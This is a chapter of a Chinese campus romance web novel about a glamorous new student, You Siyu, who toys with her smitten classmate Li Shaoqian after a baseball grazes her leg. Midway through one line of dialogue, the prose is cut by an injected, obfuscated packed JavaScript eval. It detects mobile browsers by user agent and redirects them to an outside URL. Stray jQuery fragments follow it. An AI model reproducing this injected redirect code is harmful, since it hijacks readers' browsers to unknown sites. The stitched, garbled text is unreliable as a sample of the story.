“她是谁?新来的交换生吗?”
“怎么好像从电视里走出来的人一样,漂亮成这样?”
“该不会是未出道的艺人或者模特吧!”
议论声在教室里悄然蔓延开来。
所有人不约而同的向少女投去目光,眼神一个比一个炽热,即便她们知道这样打量一个陌生人很不礼貌,可是没有人管得了自己。
圣莱大学的学生大多家世显赫,平时只在固有的圈子里社交,对其他人的生活和外貌,很少抱有好奇,更别提一个完全是第一次出现在她们面前的人。
可美人总是有特别待遇的。
就连向来不怎么把别人放在眼里的李邵谦也停下笔,抬起头来望向她。
这节是专业必修课,教室在三楼,楼层不高,视野却好,阳光透过半开的窗子映进来,洒落在少女的脸上,染出一层淡淡的光晕。
过肩的长发乌黑如瀑,自然垂落,服帖地散在纤瘦肩头。
瓷色的肌肤不见一丝瑕疵,在光影下白皙的近乎透明,明明是无可挑剔的美貌,却又含着拒人于外的骄傲,叫人轻易不敢靠近。
李邵谦笔端一顿,墨色的笔尖在纸页上留下一条痕迹。
这时,站在讲台前的老教授终于反应过来,轻咳了两声,拿手中的书敲了敲桌子,示意大家安静。
课堂恢复秩序,老教授清清嗓子,有条不紊地开始了课前例行的引入教学。
只不过大家的注意力早就不在课上,都偷偷侧过脸去打量着少女。
游祀语自然也感受到了那一束束的视线,她不但不在意,反而唇角翘起一抹弧度,大大方方地环视一圈,眉眼盈盈,算是和每个人打过招呼。
精致的无可挑剔的脸露出笑容的瞬间,日光都仿佛更加明亮,一时间又掀起一阵小声的骚动。
甚至有人倒吸一口气。
离她最近的李邵谦也是一顿,心跳不可察觉地快了几分,不过他很快敛回目光,重新低下头,继续记笔记。
老教授讲的专业内容很枯燥,游祀语渐渐便觉得无聊起来。
她撑着下巴,眼睛散漫地转着,扫过各个位置,最后落在埋头记录的李邵谦身上。
不得不承认,即便以游祀语挑剔的审美来看,他也称得上清俊。
一头利落的短发修剪得干净整齐,鼻梁挺直,脸部线条流畅,无论是专注的神情还是气质,都显出一种自律的英俊。
游祀语玩味地多看了几眼。
李邵谦察觉到她的视线,下意识地和她对视。
猝不及防撞上那一双黑白分明的眼睛,他微微一怔。
游祀语朝他一笑,眼瞳璨若琉璃。
有什么情绪不受控制地激荡起来,李邵谦罕见地失了冷静,不知所措地回了个笑。
刚笑了一下,忽然回过神来,意识到自己的动作,李邵谦有些懊恼,咬了下嘴唇,努力克制着不再露出异样。
看着他的窘迫,游祀语心情更好了些。
她又对李邵谦眨了眨眼睛,仿佛调皮的恶作剧一般。
李邵谦的耳根隐隐红了起来,好在老教授已经讲到了某个关键点,不少人都凝神听着,没人注意到他的变化。
好不容易冷静下来,他已经听不到教授在说什么,只瞄向游祀语的方向。
少女依旧维持着刚才的姿势,却不再看他了。
只是不知是不是错觉,李邵谦总觉得她在笑,像是看透他心思的样子。
老教授的课结束得比往常晚了些,等到最后下课铃响起,游祀语才懒洋洋地活动了一下身体。
见她被一堆人簇拥着朝门口走去,李邵谦鬼使神差地也站起身,却犹豫片刻,只默默地看着她消失在人群里。
游祀语一路被人殷勤地带到餐厅,收获了无数招呼和问候。
她适应得很好,一点也不胆怯,甚至亲昵地和一些人说笑起来。
不知不觉,已经有人自觉地给她挪好位置,游祀语倒也不客气,欣然享受着众星捧月的待遇,挑了自己爱吃的坐到一角。
很快各种打探八卦和赞美如潮水般涌来,游祀语耐心地一一应付着,温软的声线缓缓流泻在空气里。
“祀语之前在国外上学吗?”
“是呢。”游祀语将勺子送入口中,漫不经心地回答。
“怪不得气质和别人不一样,对了,你以前当过模特吗?”
有几个女孩按捺不住好奇心,殷勤地帮她插上吸管,递上纸巾。
“不介意我们叫你名字吧,感觉这样更亲切些。”
游祀语唇畔梨涡浅浅,“当然。”
得到肯定的答复,女生们更加热情起来,问题如同车轮一样接连抛出。
“祀语拍过电影或者杂志吗?”
“没有。”游祀语摇了摇头。
“我猜也是,不然你早就该火了。”一个男生眼神都放光了。
游祀语漂亮的眼睛弯起,打趣:“或许以后可以试试。”
一桌子人顿时沸腾起来,纷纷出主意:“可以先试着做代言人啊,我记得尹凛澈家最近在准备一款新香水,要是你能做形象代言人一定效果更好。”
“祀语真的应该去当明星。”
“你一定会大红的!”
游祀语浅声糊弄着,对于她们的恭维全不放在心上,只是和大家说说笑笑地打发时间。
“你喜欢吃什么呢?我让人再去买些过来。”
“谢谢,不用麻烦了。”
见游祀语无意多吃,有人替她把食物撤走,剩下的人却不舍得散开。
“祀语,要不要在圣莱逛一逛,正好帮你熟悉一下环境。”
*
一行人浩浩荡荡在校园里穿梭,边走边有人殷勤地介绍,“这是图书馆。”
“那栋是游泳馆,我们校队的游泳水平一直挺不错的。”
“左边是艺术楼,里面有各种专业教室。”
逛了小半个校园,不知不觉间走到棒球场的区域。
人群忽然停下来,游祀语察觉到不同,顺着她们的视线向场内望去,看到正在比赛的男生们。
其中就有李邵谦。
他背对着众人,专注而沉稳地挥动手臂,姿势干净利落。
场内还有一道身影也格外显眼,正是刚才提到的尹凛澈。
他进退得宜,攻守有序,和其他队员配合默契,即使是外行人也能看出他的出色。
白色运动衣将尹凛澈的肌肉线条勾勒的紧实流畅,裤子包裹着修长的腿,每跑动一步,都带来十足的美感。
的确很有观赏性。
场上的比分僵持,李邵谦似乎急于追回差距,动作更快更凌厉。
唰的一道球声响起,李邵谦的眼神猛然一凝,球已经偏离轨迹,落在界外。
但却没停,反弹的棒球划出一道弧线,直直朝游祀语的腿边飞去。
旁边几个女生惊呼,下意识想将人挡在后面。
可事情发生的太过迅速,游祀语纤细的小腿还是挨了一下,不疼,只是条件反射地颤了颤。
白皙的肌肤被球面蹭过,留下一道浅浅的红痕。
众人还没来得及说几句安慰的话,就看到李邵谦疾步奔过来。
“你没事吧?”他弯下腰,眼中满是紧张和自责。
李邵谦伸出手,想要检查游祀语的伤处,却又顾忌着什么,手悬在半空,俊秀的脸染着歉意:“抱歉。”
“要不要去……”
医务室三个字还没出口,游祀语就退后一步,仿佛恨不得离他远远的。
李邵谦拳头微微握紧,语气里有着他自己都未察觉的涩意:“对不起。”
气氛微僵。
周围不断有人打圆场:“邵谦应该不是故意的啦,祀语你别生气,没受伤吧?”
“我们带你去校医室看看吧?”
看到李邵谦愧疚又不安的神情,游祀语浅粉色的唇轻启,嗓音柔软,“我没事。”
李邵谦僵硬的身体这才放松了些,心中紧绷的弦微微松动。
他还想再说些什么,游祀语却不打算停留,低头对众人道:“我要回去
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17203313|197291||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
了。”
大家只能依依不舍地散开。
李邵谦立刻追上前:“你去哪,我送你。”
游祀语的脚步顿了一下,任由他跟在身侧。
两人并肩走着,沉默着经过人群,谁都没有出声。
李邵谦偷偷瞧着游祀语的侧脸,见她垂着眼睛,不知道在想些什么,不安的情绪又一丝丝萦绕上来。
他斟酌了一下,轻声道:“刚才……真的不是有意的。”
游祀语转过视线对上李邵谦诚恳的眼神,表情淡淡,“司机到了,再见。”
车窗缓缓合上,阻隔了李邵谦眼底的情绪。
他怔忡地站在原地目送车子消失,直到有人拍了拍他的肩膀,才将注意力收回。
“道完歉了?”
尹凛澈黑眸幽深,头顶的碎发尚有些湿意。
运动后,他的轮廓更显立体,不同于平日的高冷,此时的他多了几分野性。
李邵谦抿了抿唇,没否认。
瞧着他这副明显失魂落魄的样子,尹凛澈挑了挑眉,有些意外,又有些好笑,“有必要这么放在心上?”
*
后视镜里的两人逐渐缩成小点,游祀语右手抚上小腿处,轻轻按了按。
的确不疼。
她拿起车上备的湿纸巾,仔细地擦拭并不存在的脏痕。
司机余光瞄见,小心翼翼地询问:“小姐,要不要请医生过来?”
“不用。”
……
今天的月亮似乎比往日更圆,李邵谦沐浴后躺在床上,睡意袭来之前,脑子里浮现的依旧是游祀语临上车时的模样。
漫不经心,毫不在意。
李邵谦烦躁地翻了个身,窗外朦胧的月色渐渐移到床边,他思绪逐渐模糊。
“背人都不会吗?”
耳边响起一声轻斥,李邵谦猛地睁开眼。
还是那张脸,秀丽的眼瞳、卷翘的睫毛,连眼下的小痣都美好得难以形容。
馨香铺天盖地,李邵谦的喉结重重滚动,他下意识想要揽人入怀。
指尖堪堪触碰到衣角,游祀语却直起身,居高临下地注视他。“快点背我。”
理所当然的语气,却没有丝毫违和。
李邵谦半跪下,背对游祀语,哑着嗓子:“上来。”
“不准摔我。”游祀语提醒着,双手环住李邵谦的脖子。
少女的呼吸就在耳侧,李邵谦低不可闻地应了声,稳稳托住游祀语的腿。
她好轻。
像羽毛、棉花,又像是一团小小的云。
肌肤相贴的地方传来的温度太过真实,李邵谦不敢再胡思乱想,专注地往前移动。
游祀语似是丝毫不觉,在她们到达医务室后,指了指小腿的痕迹,“给我消毒。”
李邵谦立刻照做,用沾了酒精的棉签小心擦拭,紧接着又沾着药膏,小心翼翼涂抹在伤口处。
其实哪有这么严重。
游祀语就是故意折腾他,看他为自己上药的蠢样,又捉弄地抬起脚,在李邵谦肩上踩了一下。
力道不重,李邵谦也一点都不恼。
只是他目光落到游祀语腿上,看到她纤细优美的曲线,脸颊不可遏制地热了起来。
游祀语心情恢复得不错,她清脆的声音透着几分慵懒:“好了,你可以走了。”
李邵谦鬼使神差地抓住游祀语的手。
掌心柔软,李邵谦心脏跳动的频率不受控制地加快。
他喉结滚动,近乎耳语:“对不起,我,我……”
话梗在喉咙里,李邵谦不知该如何解释。
他怎么能这么不要脸,竟然这样抓着人家的手。
游祀语没有抽回手,反而摩挲了下李邵谦的指尖。
有细微的痒,李邵谦克制地轻颤。
游祀语侧着头看他,笑容恶劣,“不走是想让我再踩你一下吗?”
如玉石一般莹润的腿晃了晃,着重的踩在了某个不可言说的位置。
然后不可言说它不可说了……